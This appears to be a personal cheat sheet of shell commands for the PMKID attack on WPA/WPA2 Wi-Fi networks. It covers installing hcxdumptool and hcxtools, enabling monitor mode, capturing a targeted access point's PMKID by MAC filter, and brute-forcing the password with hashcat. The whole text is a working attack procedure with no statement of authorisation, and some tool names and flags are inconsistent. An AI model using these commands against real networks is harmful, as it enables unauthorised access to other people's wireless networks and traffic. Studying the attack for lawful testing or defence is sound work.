apt-get update
apt-get dist-upgrade -y
apt-get install libssl-dev
apt-get install libz-dev
apt-get install libpcap-dev -y
apt-get install libcurl4-openssl-dev

git clone https://github.com/ZerBea/hcxdumptool 
cd hcxdumptool
make
make install
hcxdumptool -h
hcxdumptool --version

git clone https://github.com/ZerBea/hcxtools.git 
cd hcxtools
make
make install
hcxpcptool -h
hcxpcptool -v

hashcat -h 
hashcat --version

mkdir crack_PMKID
cd crack_PMKID

airmon-ng start wlan0
airodump-ng wlan0mon
echo '<AP mac address without :' > mac.txt   /
cat mac.txt
hcxdumptool -o hash -i wlan0mon --filterlist=mac.txt --filtermode=2 --enable_status=3
hcxpcaptool -z hashtocrack hash
cat hashtocrack 


hashcat -m 16800 hashtocrack  -a 3 -w 3 abcdef?l?l --force --potfile-disable


//-a -3 : attack model: brute-force
//-w 3: -workload-profile: high performance 
// potfile: the potfile stores which hashes were already cracked, and thus won't be cracked again.

1: hcxdumptool v4.2.0 or higher: https://github.com/ZerBea/hcxdumptool
2: hcxtools v4.2.0 or higher: https://github.com/ZerBea/hcxtools
3: hashcat v4.2.0 or higher: https://github.com/hashcat/hashcat

Tutorial
https://www.youtube.com/watch?v=DarsUXcHTSU